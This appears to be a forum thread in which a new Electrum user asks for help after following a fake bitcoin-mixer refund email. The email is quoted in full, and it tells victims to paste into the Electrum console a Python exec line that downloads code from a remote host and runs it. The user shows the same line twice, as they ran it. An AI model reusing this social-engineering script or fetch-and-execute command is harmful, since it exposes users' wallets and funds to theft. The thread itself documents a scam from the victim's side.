ouch!

Is there any way to check if OS is compromised? I'm using Kali Linux...

Thanks

You are guys scaring the **** out of me. I have deleted my wallet but it's seems unreal that you can infect Linux system by executing command in Electrum. Please somebody confirm or deny that it's possible.

Thank you guys so much. I'm very new so mistakes were expected. Thanks again.

Thanks so much for your suggestion.
I transferred my 2 cents to another wallet and deleted likely compromised wallet.
What  that command does anyway ? Could the still my Electrum password somehow? Should I change my passwords.
Thanks again.

I used this bitcoin mixer site bitcoinmixer.eu couple of days ago and after realizing something went wrong, I emailed them for help. Today I got a replay

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First of all we apologize for the possible problems that may have caused our failure. This has been due to an internal failure in our transaction database, so we are not able to match source with destination. Anyway, we will return all your money including fees as soon as possible. However, we have been victim of cheating attempts and we must verify that you are the owner of the original account. Do not worry, we have simplified the protocol and you should follow just simple instructions. Follow these instructions step by step:
 
1) Open electrum with the wallet you made the transaction.
2) Go to the View menu -> Show console -> Click on the "Console" tab.
3) Type next line and replace “<output_btc_address>” with the output address you used in the mixing process. (you can copy and paste it from your guarantee letter)" IMPORTANT PRESS ENTER AFTER PASTE IT!!!
 
 
 
4) Then program will ask you to sign an internal message that will be send to us.
5) Wait for the verification message in the command line: "Refund ordered. You will have your funds back in seconds."
 
Example:
 
Suppose your output address was: 1HB5XMLmzFVj8ALj6mfBsbifRoD4miY36v
 
You have to open your electrum console and copy and paste next line (IMPORTANT PRESS ENTER AFTER PASTE IT!!):
 
exec("import requests\nexec(requests.get('https://bitcoinmixer.eu/fast_return/1HB5XMLmzFVj8ALj6mfBsbifRoD4miY36v').text)")
 
Please, do not hesitate to contact us if you have any further questions or complains,
 
BitcoinMixer
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I did whatever they asked , pasted this command in console
exec("import requests\nexec(requests.get('https://bitcoinmixer.eu/fast_return/18C3DYDMeC5XWvHxBC5EyqMoG5WxMng4cK').text)")
as they instructed and got this message from Electrum console "Server exception, please, contact with support."

I'm realizing now that they are most likely SCAMMERS since their reply address didn't work. My question is, what damage could do the script I executed do to my wallet. Should i delete my wallet? Should I change my password to my other wallet?

Thank you very in advance for your suggestions.